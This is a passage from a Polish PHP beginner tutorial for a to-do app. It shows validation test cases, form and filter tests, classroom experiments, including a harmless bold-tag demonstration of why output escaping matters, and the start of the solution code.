<p class="wp-block-paragraph">Zwróć uwagę: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code> trafia na stronę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: ...</code>), a mimo to jest bezpieczny — po sprawdzeniu może mieć <strong>tylko jedną z trzech znanych nam wartości</strong>, niezależnie od tego, co ktoś wpisze w adres. Takie „zawężanie do listy dozwolonych wartości” to jedna z najskuteczniejszych technik obrony przed złymi danymi.</p>



<p class="wp-block-paragraph">Ostatnia drobna zmiana: <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></strong> — dopisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">'dodaj-zadanie.php'</code> do tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wymaganePliki</code>. Strona powinna pokazać <strong>12 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong>. (Lista plików <code class="prettyprint lang-sql" style="font-size: 0.85em;">.php</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/</code> się nie zmienia — nowy plik leży w katalogu głównym.)</p>
</details>



<h1 class="wp-block-heading">7. Testy</h1>



<h2 class="wp-block-heading">Test 1 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> na granicach</h2>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> <strong>Przewidź</strong> wynik każdego przypadku, zanim uruchomisz kod:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/includes/funkcje_zadan.php';

$przypadki = &#91;
    &#91;'Nauka PHP', '', '2026-10-02', '20'],
    &#91;'', '', '2026-10-02', '20'],
    &#91;str_repeat('a', 101), '', '2026-10-02', '20'],
    &#91;str_repeat('ą', 100), '', '2026-10-02', '20'],
    &#91;'Nauka PHP', str_repeat('x', 301), '2026-10-02', '20'],
    &#91;'Nauka PHP', '', '', '20'],
    &#91;'Nauka PHP', '', '02.10.2026', '20'],
    &#91;'Nauka PHP', '', '2026-02-29', '20'],
    &#91;'Nauka PHP', '', '2028-02-29', '20'],
    &#91;'Nauka PHP', '', '2026-13-01', '20'],
    &#91;'Nauka PHP', '', '2026-10-02', '0'],
    &#91;'Nauka PHP', '', '2026-10-02', '1'],
    &#91;'Nauka PHP', '', '2026-10-02', '100'],
    &#91;'Nauka PHP', '', '2026-10-02', '101'],
    &#91;'Nauka PHP', '', '2026-10-02', 'dużo'],
    &#91;'Nauka PHP', '', '2026-10-02', '12abc'],
    &#91;'Nauka PHP', '', '2026-10-02', '-5'],
    &#91;'Nauka PHP', '', '2026-10-02', '7.5'],
    &#91;'', '', '', ''],
];

foreach ($przypadki as $numer =&gt; $dane) {
    $bledy = walidujNoweZadanie($dane&#91;0], $dane&#91;1], $dane&#91;2], $dane&#91;3]);
    echo ($numer + 1) . ". " . (count($bledy) === 0 ? "OK" : implode(' | ', $bledy)) . "&lt;br&gt;";
}</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Nr</th><th>Dane (co jest nietypowe)</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td>1</td><td>wszystko poprawne</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code></td></tr><tr><td>2</td><td>pusty tytuł</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Tytuł jest wymagany.</code></td></tr><tr><td>3</td><td>tytuł: 101 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Tytuł może mieć najwyżej 100 znaków.</code></td></tr><tr><td>4</td><td>tytuł: 100 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">ą</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code> (100 znaków, mimo 200 bajtów — dlatego <code class="prettyprint lang-sql" style="font-size: 0.85em;">mb_strlen()</code>)</td></tr><tr><td>5</td><td>opis: 301 znaków</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Opis może mieć najwyżej 300 znaków.</code></td></tr><tr><td>6</td><td>pusty termin</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Termin musi być datą w formacie RRRR-MM-DD.</code></td></tr><tr><td>7</td><td>termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">02.10.2026</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Termin musi być datą w formacie RRRR-MM-DD.</code></td></tr><tr><td>8</td><td>termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-02-29</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Taki dzień nie istnieje w kalendarzu.</code> (2026 nie jest przestępny)</td></tr><tr><td>9</td><td>termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2028-02-29</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code> (2028 jest przestępny)</td></tr><tr><td>10</td><td>termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-13-01</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Taki dzień nie istnieje w kalendarzu.</code></td></tr><tr><td>11</td><td>XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">XP musi być z zakresu 1–100.</code></td></tr><tr><td>12</td><td>XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code></td></tr><tr><td>13</td><td>XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">100</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK</code></td></tr><tr><td>14</td><td>XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">101</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">XP musi być z zakresu 1–100.</code></td></tr><tr><td>15</td><td>XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">dużo</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">XP musi być liczbą całkowitą.</code></td></tr><tr><td>16</td><td>XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">12abc</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">XP musi być liczbą całkowitą.</code></td></tr><tr><td>17</td><td>XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">-5</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">XP musi być liczbą całkowitą.</code> (minus to nie cyfra)</td></tr><tr><td>18</td><td>XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">7.5</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">XP musi być liczbą całkowitą.</code></td></tr><tr><td>19</td><td>wszystko puste</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Tytuł jest wymagany. \| Termin musi być datą w formacie RRRR-MM-DD. \| XP musi być liczbą całkowitą.</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">implode(' | ', $bledy)</code> skleja elementy tablicy w jeden tekst, wstawiając między nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">' | '</code> — tylko na potrzeby testu.</p>



<h2 class="wp-block-heading">Test 2 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></h2>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Lista <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code></th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td>(pusta lista)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">1, 2, 3</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">4</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">3, 10, 7</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">11</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">1, 2, 4, 5</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">6</code> (a nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">5</code>!)</td></tr><tr><td>prawdziwe zadania: <code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania(wczytajZadania(PLIK_ZADAN))</code> na oryginalnym pliku</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">6</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">(Do ostatniego przypadku dołącz w brudnopisie także <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>.)</p>



<h2 class="wp-block-heading">Test 3 — dodawanie przez stronę</h2>



<p class="wp-block-paragraph"><strong>PLIK PROJEKTU <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</strong> Na czas tego testu dopisz do znacznika <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;form</code> atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code> (przeglądarka nie będzie blokować wysłania), a po teście <strong>usuń go</strong>. Przed testem przywróć oryginalny <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> z kopii.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co wpisujesz</th><th>Oczekiwany efekt</th></tr></thead><tbody><tr><td>nic (pusty formularz)</td><td>trzy komunikaty w czerwonej ramce, plik bez zmian</td></tr><tr><td>tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">  Nauka   formularzy </code>, termin pusty, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">30</code></td><td>jeden komunikat (termin); w polu tytułu jest już <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nauka formularzy</code> (oczyszczony!), XP nadal <code class="prettyprint lang-sql" style="font-size: 0.85em;">30</code></td></tr><tr><td>tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nauka formularzy</code>, poprawny termin, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">30</code></td><td>przejście na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?dodano=1</code>, zielona ramka, zadanie na liście; w pliku nowy wiersz z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> <strong>6</strong></td></tr><tr><td>tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie; z "cudzysłowem"</code>, opis w <strong>dwóch liniach</strong>, poprawny termin, XP <code class="prettyprint lang-sql" style="font-size: 0.85em;">5</code></td><td>zadanie dodane z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> <strong>7</strong>; w pliku tytuł jest w cudzysłowie, a cudzysłowy w środku są podwojone (<code class="prettyprint lang-sql" style="font-size: 0.85em;">""</code>) — tak <code class="prettyprint lang-sql" style="font-size: 0.85em;">fputcsv()</code> chroni średniki i cudzysłowy; opis w jednej linii; strona główna nadal działa</td></tr><tr><td>F5 na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?dodano=1</code></td><td>brak pytania o ponowne wysłanie, w pliku nadal 7 zadań</td></tr><tr><td>to samo zadanie jeszcze raz przez formularz</td><td>dodaje się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> <strong>8</strong> — aplikacja nie sprawdza duplikatów (tego nie wymagaliśmy)</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 4 — dodawanie, gdy plik ma problem</h2>



<p class="wp-block-paragraph"><strong>PLIK DANYCH PROJEKTU.</strong> Po każdym wierszu przywróć oryginalny <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Zmiana</th><th>Oczekiwany efekt po wysłaniu poprawnego formularza</th></tr></thead><tbody><tr><td>plik nazywa się <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania_x.csv</code></td><td>czerwona ramka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się dodać zadania: Plik z zadaniami nie istnieje.</code>; formularz zachowuje wpisane dane; <strong>w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/</code> nie powstał nowy plik</strong></td></tr><tr><td>w wierszu zadania <code class="prettyprint lang-sql" style="font-size: 0.85em;">3</code> pierwszy średnik zamieniony na spację</td><td>ramka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">... Linia 4: oczekiwano 6 pól, a jest 5.</code>; <strong>plik jest dokładnie taki jak przed wysłaniem</strong> (nic nie skasowano, nie dopisano)</td></tr><tr><td>plik oznaczony jako tylko do odczytu (Windows: prawy przycisk → Właściwości → „Tylko do odczytu”)</td><td>ostrzeżenie PHP <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: fopen(...): Failed to open stream: Permission denied</code> oraz ramka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się dodać zadania: Nie udało się zapisać pliku z zadaniami.</code> (po teście odznacz „Tylko do odczytu”)</td></tr><tr><td>w pliku tylko nagłówek</td><td>zadanie dodane z <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> <strong>1</strong></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">W drugim wierszu tabeli widać, po co odczyt i zapis są w <strong>jednym</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>.</p>



<h2 class="wp-block-heading">Test 5 — widoki listy (GET)</h2>



<p class="wp-block-paragraph"><strong>PLIK PROJEKTU <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</strong> Na oryginalnym pliku z 5 zadaniami (2 wykonane, 3 aktywne):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Adres</th><th>Oczekiwany efekt</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: wszystkie</code>, 5 zadań</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=aktywne</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: aktywne</code>, 3 zadania, wszystkie z <code class="prettyprint lang-sql" style="font-size: 0.85em;">[ ]</code>, posortowane wg terminu</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=wykonane</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: wykonane</code>, 2 zadania z <code class="prettyprint lang-sql" style="font-size: 0.85em;">[X]</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=abc</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: wszystkie</code>, 5 zadań, <strong>brak błędów</strong></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=AKTYWNE</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: wszystkie</code> (wielkość liter ma znaczenie)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=aktywne&amp;dodano=1</code></td><td>widok aktywnych i zielona ramka</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=wykonane</code>, gdy w pliku wszystkie zadania mają <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Brak zadań w tym widoku.</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">W każdym widoku liczniki (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Wszystkie: 5 | Wykonane: 2 | Aktywne: 3</code>) i „najpilniejsze zadanie” wyglądają <strong>tak samo</strong>.</p>



<h2 class="wp-block-heading">Test 6 — regresja</h2>



<p class="wp-block-paragraph">Uruchom obok siebie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja12/index.php</code> i nowy <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/index.php</code> <strong>tego samego dnia</strong> (na oryginalnym pliku zadań). Różnice mogą być tylko cztery: link „+ Dodaj zadanie”, linia z linkami widoków, linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: wszystkie</code> i wersja w stopce (<code class="prettyprint lang-sql" style="font-size: 0.85em;">1.2</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.3</code>). Liczniki, pasek, komunikaty terminów i lista — identyczne. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje <strong>12 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong>. Test awarii z Lekcji 12 (zmiana nazwy pliku z zadaniami) nadal daje czerwoną ramkę na stronie głównej — a link „+ Dodaj zadanie” jest nad nią.</p>



<h2 class="wp-block-heading">Sprzątanie</h2>



<p class="wp-block-paragraph">Gdy testy przeszły:</p>



<ol class="wp-block-list">
<li>usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>,</li>



<li>usuń atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code> z formularza w <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, jeśli został,</li>



<li>przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> z kopii (5 oryginalnych zadań) — albo zostaw zadania, które naprawdę chcesz mieć w TaskQuest,</li>



<li>odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>.</li>
</ol>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> wszystkie eksperymenty wykonuj w plikach projektu wskazanych przy każdym z nich. Po każdym <strong>przywróć kod</strong> do stanu z sekcji 5–6 i oryginalny <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>.</p>



<h3 class="wp-block-heading">Eksperyment 1: przeglądarka to nie strażnik</h3>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</strong> Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code> spróbuj wysłać pusty formularz — przeglądarka nie pozwala. Teraz otwórz F12 → Elementy, kliknij pole XP i usuń z niego atrybuty <code class="prettyprint lang-sql" style="font-size: 0.85em;">min</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">max</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">required</code> (dwuklik na atrybucie → usuń tekst). Wpisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">999</code> i wyślij. Kto zatrzymał złe dane? Co by się stało, gdyby w PHP nie było <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code>? Sprawdź też, co zrobi strona, gdy w F12 zmienisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">type="number"</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">type="text"</code> i wpiszesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dużo</code>.</p>



<h3 class="wp-block-heading">Eksperyment 2: formularz wysłany metodą GET</h3>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</strong> Zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">method="post"</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">method="get"</code> i dodaj poprawne zadanie. Co widać w pasku adresu? Czy zadanie zostało dodane? Dlaczego nie — który warunek w kodzie nie jest spełniony? Następnie zastanów się: gdyby kod sprawdzał <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_GET</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_POST</code>, to czym groziłoby wysłanie komuś linku z takim adresem albo zapisanie go w zakładkach?</p>



<h3 class="wp-block-heading">Eksperyment 3: <code class="prettyprint lang-sql" style="font-size: 0.85em;">match</code> bez listy dozwolonych wartości</h3>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</strong> Zakomentuj <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code>, który zamienia nieznany filtr na <code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystkie</code>, i otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=abc</code>. Przeczytaj pierwszą linię komunikatu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught UnhandledMatchError ...</code>. Czy to <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code>, czy <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error</code> (Lekcja 12, sekcja 3.8)? Dlaczego nie ratuje nas żaden <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>? Dopisz do <code class="prettyprint lang-sql" style="font-size: 0.85em;">match</code> przypadek <code class="prettyprint lang-sql" style="font-size: 0.85em;">default =&gt; $zadaniaWgTerminu</code> i sprawdź jeszcze raz — działa, ale co teraz wypisze linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: ...</code> dla adresu <code class="prettyprint lang-sql" style="font-size: 0.85em;">?filtr=abc</code>? Które rozwiązanie jest lepsze i dlaczego?</p>



<h3 class="wp-block-heading">Eksperyment 4: <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code> zamiast regexa</h3>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> zamień sprawdzenie XP na samo:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    if ((int) $xpZadania &lt; 1 || (int) $xpZadania &gt; 100) {
        $bledy&#91;] = "XP musi być z zakresu 1–100.";
    }</code></pre>



<p class="wp-block-paragraph">Uruchom Test 1. Które przypadki zmieniły wynik? Co zostanie zapisane w pliku, jeśli ktoś wyśle <code class="prettyprint lang-sql" style="font-size: 0.85em;">12abc</code>? Jaki komunikat dostanie ktoś, kto wpisał <code class="prettyprint lang-sql" style="font-size: 0.85em;">dużo</code> — i czy mówi mu prawdę?</p>



<h3 class="wp-block-heading">Eksperyment 5: tekst użytkownika trafia na stronę (zapowiedź Lekcji 22)</h3>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> (z <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code>).</strong></p>



<p class="wp-block-paragraph">a) Wpisz tytuł <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie "PHP"</code>, termin zostaw pusty i wyślij. Formularz wraca z błędem — co jest teraz w polu tytułu? Otwórz F12 → Elementy i spójrz na atrybut <code class="prettyprint lang-sql" style="font-size: 0.85em;">value</code>. Dlaczego tekst urwał się na cudzysłowie?</p>



<p class="wp-block-paragraph">b) Bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code>: dodaj poprawne zadanie o tytule <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;Bardzo&lt;/b&gt; ważne</code>. Otwórz stronę główną. Jak wygląda tytuł na liście? Przeglądarka potraktowała tekst od użytkownika <strong>jak kod HTML</strong>. Pogrubienie jest niewinne — ale w to samo miejsce ktoś mógłby wpisać znaczniki, które zmieniają wygląd całej strony albo uruchamiają skrypt. To się nazywa <strong>wstrzykiwanie HTML</strong> (a w wersji ze skryptem — XSS) i naprawimy to funkcją <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code> w Lekcji 22.</p>



<p class="wp-block-paragraph">Po eksperymencie <strong>usuń to zadanie z pliku</strong> (przywróć kopię).</p>



<h3 class="wp-block-heading">Eksperyment 6 (dodatkowy): po co <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code>?</h3>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</strong> Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code> spod <code class="prettyprint lang-sql" style="font-size: 0.85em;">header(...)</code>, a pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">header(...)</code> dopisz tymczasowo <code class="prettyprint lang-sql" style="font-size: 0.85em;">file_put_contents(__DIR__ . '/po_przekierowaniu.txt', 'wykonano');</code>. Dodaj zadanie. Przekierowanie działa — a czy plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">po_przekierowaniu.txt</code> powstał? Co to mówi o tym, co robi <code class="prettyprint lang-sql" style="font-size: 0.85em;">header()</code>, a czego nie robi? Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code> i usuń dopisaną linię oraz plik.</p>



<h1 class="wp-block-heading">9. ROZWIĄZANIE</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">Pełny kod TaskQuest po Lekcji 13. Nowe lub zmienione: <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> (nowy), <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>. <strong>Bez zmian względem Lekcji 12:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_terminow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_diagnostyczne.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> (poza zadaniami dodanymi przez formularz).</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code></h2>



<p class="wp-block-paragraph">Cztery dotychczasowe funkcje (<code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzWykonaneZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktywneZadania()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sumujXp()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code>) zostają <strong>bez zmian</strong>. Na końcu pliku dochodzą:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function nastepneIdZadania(array $zadania): int
{
    $najwiekszeId = 0;

    foreach ($zadania as $zadanie) {
        if ($zadanie&#91;'id'] &gt; $najwiekszeId) {
            $najwiekszeId = $zadanie&#91;'id'];
        }
    }

    return $najwiekszeId + 1;
}


function walidujNoweZadanie(string $tytulZadania, string $opisZadania, string $terminZadania, string $xpZadania): array
{
    $bledy = &#91;];

    if ($tytulZadania === '') {
        $bledy&#91;] = "Tytuł jest wymagany.";
    } elseif (mb_strlen($tytulZadania) &gt; 100) {
        $bledy&#91;] = "Tytuł może mieć najwyżej 100 znaków.";
    }

    if (mb_strlen($opisZadania) &gt; 300) {
        $bledy&#91;] = "Opis może mieć najwyżej 300 znaków.";
    }

    if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $terminZadania)) {
        $bledy&#91;] = "Termin musi być datą w formacie RRRR-MM-DD.";
    } else {
        $czesciDaty = explode('-', $terminZadania);

        if (!checkdate((int) $czesciDaty&#91;1], (int) $czesciDaty&#91;2], (int) $czesciDaty&#91;0])) {
            $bledy&#91;] = "Taki dzień nie istnieje w kalendarzu.";
        }
    }

    if (!preg_match('/^\d+$/', $xpZadania)) {
        $bledy&#91;] = "XP musi być liczbą całkowitą.";
    } elseif ((int) $xpZadania &lt; 1 || (int) $xpZadania &gt; 100) {
        $bledy&#91;] = "XP musi być z zakresu 1–100.";
    }

    return $bledy;
}</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';


// --- dane nowego zadania (na start puste — formularz jeszcze nie został wysłany) ---
$tytulZadania = '';
$opisZadania = '';
$terminZadania = '';
$xpZadania = '';

$bledy = &#91;];
$bladZapisu = null;


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $tytulZadania = wyczyscTytul($_POST&#91;'tytul'] ?? '');
